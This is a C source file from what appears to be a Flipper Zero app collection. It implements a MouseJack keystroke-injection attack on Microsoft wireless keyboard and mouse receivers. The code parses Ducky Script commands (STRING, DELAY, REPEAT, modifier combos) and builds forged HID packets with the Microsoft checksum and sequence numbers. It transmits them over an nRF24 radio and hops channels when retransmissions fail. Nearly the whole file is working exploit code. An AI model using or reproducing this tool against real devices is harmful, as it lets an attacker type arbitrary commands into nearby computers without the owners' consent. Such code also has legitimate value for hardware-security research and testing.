Momentum-Apps/non_catalog_apps/mousejacker_ms/mousejacker_ducky.c

#include "mousejacker_ducky.h"

static const char ducky_cmd_comment[] = {"REM"};
static const char ducky_cmd_delay[] = {"DELAY "};
static const char ducky_cmd_string[] = {"STRING "};
static const char ducky_cmd_repeat[] = {"REPEAT "};

// Bytes 0 to 3 are hardcoded for my specific mouse (they should be known after the sniffing but addresses.txt doesn't save them)
static uint8_t MICROSOFT_HID_TEMPLATE[] =
    {0x08, 0x90, 0x19, 0x01, 0x00, 0x00, 67, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};

uint8_t prev_hid = 0;
uint8_t sequence_num = 0;

#define RT_THRESHOLD 50
#define MICROSOFT_MIN_CHANNEL 2
#define MICROSOFT_MAX_CHANNEL 83
#define MICROSOFT_HID_TEMPLATE_SIZE 19
#define TAG "mousejacker_ducky"

MJDuckyKey mj_ducky_keys[] = {{" ", 44, 0},         {"!", 30, 2},          {"\"", 52, 2},
                              {"#", 32, 2},         {"$", 33, 2},          {"%", 34, 2},
                              {"&", 36, 2},         {"'", 52, 0},          {"(", 38, 2},
                              {")", 39, 2},         {"*", 37, 2},          {"+", 46, 2},
                              {",", 54, 0},         {"-", 45, 0},          {".", 55, 0},
                              {"/", 56, 0},         {"0", 39, 0},          {"1", 30, 0},
                              {"2", 31, 0},         {"3", 32, 0},          {"4", 33, 0},
                              {"5", 34, 0},         {"6", 35, 0},          {"7", 36, 0},
                              {"8", 37, 0},         {"9", 38, 0},          {":", 51, 2},
                              {";", 51, 0},         {"<", 54, 2},          {"=", 46, 0},
                              {">", 55, 2},         {"?", 56, 2},          {"@", 31, 2},
                              {"A", 4, 2},          {"B", 5, 2},           {"C", 6, 2},
                              {"D", 7, 2},          {"E", 8, 2},           {"F", 9, 2},
                              {"G", 10, 2},         {"H", 11, 2},          {"I", 12, 2},
                              {"J", 13, 2},         {"K", 14, 2},          {"L", 15, 2},
                              {"M", 16, 2},         {"N", 17, 2},          {"O", 18, 2},
                              {"P", 19, 2},         {"Q", 20, 2},          {"R", 21, 2},
                              {"S", 22, 2},         {"T", 23, 2},          {"U", 24, 2},
                              {"V", 25, 2},         {"W", 26, 2},          {"X", 27, 2},
                              {"Y", 28, 2},         {"Z", 29, 2},          {"[", 47, 0},
                              {"\\", 49, 0},        {"]", 48, 0},          {"^", 35, 2},
                              {"_", 45, 2},         {"`", 53, 0},          {"a", 4, 0},
                              {"b", 5, 0},          {"c", 6, 0},           {"d", 7, 0},
                              {"e", 8, 0},          {"f", 9, 0},           {"g", 10, 0},
                              {"h", 11, 0},         {"i", 12, 0},          {"j", 13, 0},
                              {"k", 14, 0},         {"l", 15, 0},          {"m", 16, 0},
                              {"n", 17, 0},         {"o", 18, 0},          {"p", 19, 0},
                              {"q", 20, 0},         {"r", 21, 0},          {"s", 22, 0},
                              {"t", 23, 0},         {"u", 24, 0},          {"v", 25, 0},
                              {"w", 26, 0},         {"x", 27, 0},          {"y", 28, 0},
                              {"z", 29, 0},         {"{", 47, 2},          {"|", 49, 2},
                              {"}", 48, 2},         {"~", 53, 2},          {"BACKSPACE", 42, 0},
                              {"", 0, 0},           {"ALT", 0, 4},         {"SHIFT", 0, 2},
                              {"CTRL", 0, 1},       {"GUI", 0, 8},         {"SCROLLLOCK", 71, 0},
                              {"ENTER", 40, 0},     {"F12", 69, 0},        {"HOME", 74, 0},
                              {"F10", 67, 0},       {"F9", 66, 0},         {"ESCAPE", 41, 0},
                              {"PAGEUP", 75, 0},    {"TAB", 43, 0},        {"PRINTSCREEN", 70, 0},
                              {"F2", 59, 0},        {"CAPSLOCK", 57, 0},   {"F1", 58, 0},
                              {"F4", 61, 0},        {"F6", 63, 0},         {"F8", 65, 0},
                              {"DOWNARROW", 81, 0}, {"DELETE", 42, 0},     {"RIGHT", 79, 0},
                              {"F3", 60, 0},        {"DOWN", 81, 0},       {"DEL", 76, 0},
                              {"END", 77, 0},       {"INSERT", 73, 0},
                              {"NUMLOCK", 83, 0},     {"F5", 62, 0},
                              {"LEFTARROW", 80, 0}, {"RIGHTARROW", 79, 0}, {"PAGEDOWN", 78, 0},
                              {"PAUSE", 72, 0},     {"SPACE", 44, 0},      {"UPARROW", 82, 0},
                              {"F11", 68, 0},       {"F7", 64, 0},         {"UP", 82, 0},
                              {"LEFT", 80, 0}};

/*
static bool mj_ducky_get_number(const char* param, uint32_t* val) {
    uint32_t value = 0;
    if(sscanf(param, "%lu", &value) == 1) {
        *val = value;
        return true;
    }
    return false;
}
*/

static uint32_t mj_ducky_get_command_len(const char* line) {
    uint32_t len = strlen(line);
    for(uint32_t i = 0; i < len; i++) {
        if(line[i] == ' ') return i;
    }
    return 0;
}

static bool mj_get_ducky_key(char* key, size_t keylen, MJDuckyKey* dk) {
    //FURI_LOG_D(TAG, "looking up key %s with length %d", key, keylen);
    for(size_t i = 0; i < sizeof(mj_ducky_keys) / sizeof(MJDuckyKey); i++) {
        if(!strncmp(mj_ducky_keys[i].name, key, keylen)) {
            memcpy(dk, &mj_ducky_keys[i], sizeof(MJDuckyKey));
            return true;
        }
    }

    return false;
}

static void checksum(uint8_t* payload, size_t len) {
    // MS checksum algorithm - as per KeyKeriki paper
    payload[len - 1] = 0x00;
    for(size_t n = 0; n < len - 2; n++) payload[len - 1] ^= payload[n];
    payload[len - 1] = ~payload[len - 1] & 0xff;
}

static void sequence(uint8_t* payload) {
    // MS frames use a 2 bytes sequence number
    payload[5] = (sequence_num >> 8) & 0xff;
    payload[4] = sequence_num & 0xff;
    sequence_num += 1;
}

static void inject_packet(
    FuriHalSpiBusHandle* handle,
    uint8_t* addr,
    uint8_t addr_size,
    uint8_t rate,
    uint8_t* payload,
    size_t payload_size,
    PluginState* plugin_state) {
    uint8_t rt_count = 0;
    while(1) {
        if(!plugin_state->is_thread_running || plugin_state->close_thread_please) {
            return;
        }
        if(nrf24_txpacket(handle, payload, payload_size, true)) {
            break;
        }

        rt_count++;
        // retransmit threshold exceeded, scan for new channel
        if(rt_count > RT_THRESHOLD) {
            if(nrf24_find_channel(
                   handle,
                   addr,
                   addr,
                   addr_size,
                   rate,
                   MICROSOFT_MIN_CHANNEL,
                   MICROSOFT_MAX_CHANNEL,
                   true) > MICROSOFT_MAX_CHANNEL) {
                return; // fail
            }
            //FURI_LOG_D("mj", "find channel passed, %d", tessst);

            rt_count = 0;
        }
    }
}

static void build_hid_packet(uint8_t mod, uint8_t hid, uint8_t* payload) {
    memcpy(payload, MICROSOFT_HID_TEMPLATE, MICROSOFT_HID_TEMPLATE_SIZE);
    payload[7] = mod;
    payload[9] = hid;
    sequence(payload);
    checksum(payload, MICROSOFT_HID_TEMPLATE_SIZE);
    /*uint8_t byte;
    uint8_t i;
    FURI_LOG_I(TAG, "build_hid_packet");
    for(i=0; i < MICROSOFT_HID_TEMPLATE_SIZE; i++) {
	byte = payload[i];
        FURI_LOG_I(TAG, "%02x ", byte);
    }*/
}

static void send_hid_packet(
    FuriHalSpiBusHandle* handle,
    uint8_t* addr,
    uint8_t addr_size,
    uint8_t rate,
    uint8_t mod,
    uint8_t hid,
    PluginState* plugin_state) {
    uint8_t hid_payload[MICROSOFT_HID_TEMPLATE_SIZE] = {0};
    build_hid_packet(0, 0, hid_payload);
    if(hid == prev_hid)
        inject_packet(
            handle,
            addr,
            addr_size,
            rate,
            hid_payload,
            MICROSOFT_HID_TEMPLATE_SIZE,
            plugin_state); // empty hid packet

    prev_hid = hid;
    build_hid_packet(mod, hid, hid_payload);
    inject_packet(
        handle, addr, addr_size, rate, hid_payload, MICROSOFT_HID_TEMPLATE_SIZE, plugin_state);
    furi_delay_ms(12);
}

// returns false if there was an error processing script line
static bool mj_process_ducky_line(
    FuriHalSpiBusHandle* handle,
    uint8_t* addr,
    uint8_t addr_size,
    uint8_t rate,
    char* line,
    char* prev_line,
    PluginState* plugin_state) {
    MJDuckyKey dk;
    uint8_t hid_payload[MICROSOFT_HID_TEMPLATE_SIZE] = {0};
    char* line_tmp = line;
    uint32_t line_len = strlen(line);
    if(!plugin_state->is_thread_running || plugin_state->close_thread_please) {
        return true;
    }
    for(uint32_t i = 0; i < line_len; i++) {
        if((line_tmp[i] != ' ') && (line_tmp[i] != '\t') && (line_tmp[i] != '\n')) {
            line_tmp = &line_tmp[i];
            break; // Skip spaces and tabs
        }
        if(i == line_len - 1) return true; // Skip empty lines
    }

    FURI_LOG_D(TAG, "line: %s", line_tmp);

    // General commands
    if(strncmp(line_tmp, ducky_cmd_comment, strlen(ducky_cmd_comment)) == 0) {
        // REM - comment line
        return true;
    } else if(strncmp(line_tmp, ducky_cmd_delay, strlen(ducky_cmd_delay)) == 0) {
        // DELAY
        line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
        uint32_t delay_val = 0;
        delay_val = atoi(line_tmp);
        if(delay_val > 0) {
            uint32_t delay_count = delay_val / 10;
            build_hid_packet(0, 0, hid_payload);
            inject_packet(
                handle,
                addr,
                addr_size,
                rate,
                hid_payload,
                MICROSOFT_HID_TEMPLATE_SIZE,
                plugin_state); // empty hid packet
            for(uint32_t i = 0; i < delay_count; i++) {
                if(!plugin_state->is_thread_running || plugin_state->close_thread_please) {
                    return true;
                }
                /*inject_packet(
                    handle,
                    addr,
                    addr_size,
                    rate,
                    LOGITECH_KEEPALIVE,
                    LOGITECH_KEEPALIVE_SIZE,
                    plugin_state);*/
                furi_delay_ms(10);
            }
            return true;
        }
        return false;
    } else if(strncmp(line_tmp, ducky_cmd_string, strlen(ducky_cmd_string)) == 0) {
        // STRING
        line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
        for(size_t i = 0; i < strlen(line_tmp); i++) {
            if(!mj_get_ducky_key(&line_tmp[i], 1, &dk)) return false;

            send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state);
        }

        return true;
    } else if(strncmp(line_tmp, ducky_cmd_repeat, strlen(ducky_cmd_repeat)) == 0) {
        // REPEAT
        uint32_t repeat_cnt = 0;
        if(prev_line == NULL) return false;

        line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
        repeat_cnt = atoi(line_tmp);
        if(repeat_cnt < 2) return false;

        FURI_LOG_D(TAG, "repeating %s %ld times", prev_line, repeat_cnt);
        for(uint32_t i = 0; i < repeat_cnt; i++)
            mj_process_ducky_line(handle, addr, addr_size, rate, prev_line, NULL, plugin_state);

        return true;
    } else if(strncmp(line_tmp, "ALT", strlen("ALT")) == 0) {
        line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
        if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
        send_hid_packet(handle, addr, addr_size, rate, dk.mod | 4, dk.hid, plugin_state);
        return true;
    } else if(
        strncmp(line_tmp, "GUI", strlen("GUI")) == 0 ||
        strncmp(line_tmp, "WINDOWS", strlen("WINDOWS")) == 0 ||
        strncmp(line_tmp, "COMMAND", strlen("COMMAND")) == 0) {
        line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
        if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
        send_hid_packet(handle, addr, addr_size, rate, dk.mod | 8, dk.hid, plugin_state);
        return true;
    } else if(
        strncmp(line_tmp, "CTRL-ALT", strlen("CTRL-ALT")) == 0 ||
        strncmp(line_tmp, "CONTROL-ALT", strlen("CONTROL-ALT")) == 0) {
        line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
        if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
        send_hid_packet(handle, addr, addr_size, rate, dk.mod | 4 | 1, dk.hid, plugin_state);
        return true;
    } else if(
        strncmp(line_tmp, "CTRL-SHIFT", strlen("CTRL-SHIFT")) == 0 ||
        strncmp(line_tmp, "CONTROL-SHIFT", strlen("CONTROL-SHIFT")) == 0) {
        line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
        if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
        send_hid_packet(handle, addr, addr_size, rate, dk.mod | 1 | 2, dk.hid, plugin_state);
        return true;
    } else if(
        strncmp(line_tmp, "CTRL", strlen("CTRL")) == 0 ||
        strncmp(line_tmp, "CONTROL", strlen("CONTROL")) == 0) {
        line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
        if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
        send_hid_packet(handle, addr, addr_size, rate, dk.mod | 1, dk.hid, plugin_state);
        return true;
    } else if(strncmp(line_tmp, "SHIFT", strlen("SHIFT")) == 0) {
        line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
        if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
        send_hid_packet(handle, addr, addr_size, rate, dk.mod | 2, dk.hid, plugin_state);
        return true;
    } else if(
        strncmp(line_tmp, "ESC", strlen("ESC")) == 0 ||
        strncmp(line_tmp, "APP", strlen("APP")) == 0 ||
        strncmp(line_tmp, "ESCAPE", strlen("ESCAPE")) == 0) {
        if(!mj_get_ducky_key("ESCAPE", 6, &dk)) return false;
        send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state);
        return true;
    } else if(strncmp(line_tmp, "ENTER", strlen("ENTER")) == 0) {
        if(!mj_get_ducky_key("ENTER", 5, &dk)) return false;
        send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state);
        return true;
    } else if(
        strncmp(line_tmp, "UP", strlen("UP")) == 0 ||
        strncmp(line_tmp, "UPARROW", strlen("UPARROW")) == 0) {
        if(!mj_get_ducky_key("UP", 2, &dk)) return false;
        send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state);
        return true;
    } else if(
        strncmp(line_tmp, "DOWN", strlen("DOWN")) == 0 ||
        strncmp(line_tmp, "DOWNARROW", strlen("DOWNARROW")) == 0) {
        if(!mj_get_ducky_key("DOWN", 4, &dk)) return false;
        send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state);
        return true;
    } else if(
        strncmp(line_tmp, "LEFT", strlen("LEFT")) == 0 ||
        strncmp(line_tmp, "LEFTARROW", strlen("LEFTARROW")) == 0) {
        if(!mj_get_ducky_key("LEFT", 4, &dk)) return false;
        send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state);
        return true;
    } else if(
        strncmp(line_tmp, "RIGHT", strlen("RIGHT")) == 0 ||
        strncmp(line_tmp, "RIGHTARROW", strlen("RIGHTARROW")) == 0) {
        if(!mj_get_ducky_key("RIGHT", 5, &dk)) return false;
        send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state);
        return true;
    } else if(strncmp(line_tmp, "SPACE", strlen("SPACE")) == 0) {
        if(!mj_get_ducky_key("SPACE", 5, &dk)) return false;
        send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state);
        return true;
    } else if(strncmp(line_tmp, "NUMLOCK", strlen("NUMLOCK")) == 0) {
        if(!mj_get_ducky_key("NUMLOCK", 7, &dk)) return false;
        send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid, plugin_state);
        return true;
    }

    return false;
}

void mj_process_ducky_script(
    FuriHalSpiBusHandle* handle,
    uint8_t* addr,
    uint8_t addr_size,
    uint8_t rate,
    char* script,
    PluginState* plugin_state) {
    uint8_t hid_payload[MICROSOFT_HID_TEMPLATE_SIZE] = {0};
    char* prev_line = NULL;

    /*inject_packet(
        handle, addr, addr_size, rate, LOGITECH_HELLO, LOGITECH_HELLO_SIZE, plugin_state);*/
    char* line = strtok(script, "\n");
    while(line != NULL) {
        if(strcmp(&line[strlen(line) - 1], "\r") == 0) line[strlen(line) - 1] = (char)0;

        if(!mj_process_ducky_line(handle, addr, addr_size, rate, line, prev_line, plugin_state))
            FURI_LOG_D(TAG, "unable to process ducky script line: %s", line);

        prev_line = line;
        line = strtok(NULL, "\n");
    }
    build_hid_packet(0, 0, hid_payload);
    inject_packet(
        handle,
        addr,
        addr_size,
        rate,
        hid_payload,
        MICROSOFT_HID_TEMPLATE_SIZE,
        plugin_state); // empty hid packet at end
}